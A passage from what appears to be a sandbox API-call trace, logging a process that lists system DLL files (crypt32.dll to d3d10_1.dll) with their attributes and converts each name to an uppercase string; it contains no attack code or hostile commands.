hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x226c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.466] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.467] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0140.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x226c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x226c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x226c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x226c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x226c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x226c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0140.468] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x226c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x226c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x226c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x226c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x226c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0140.469] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, 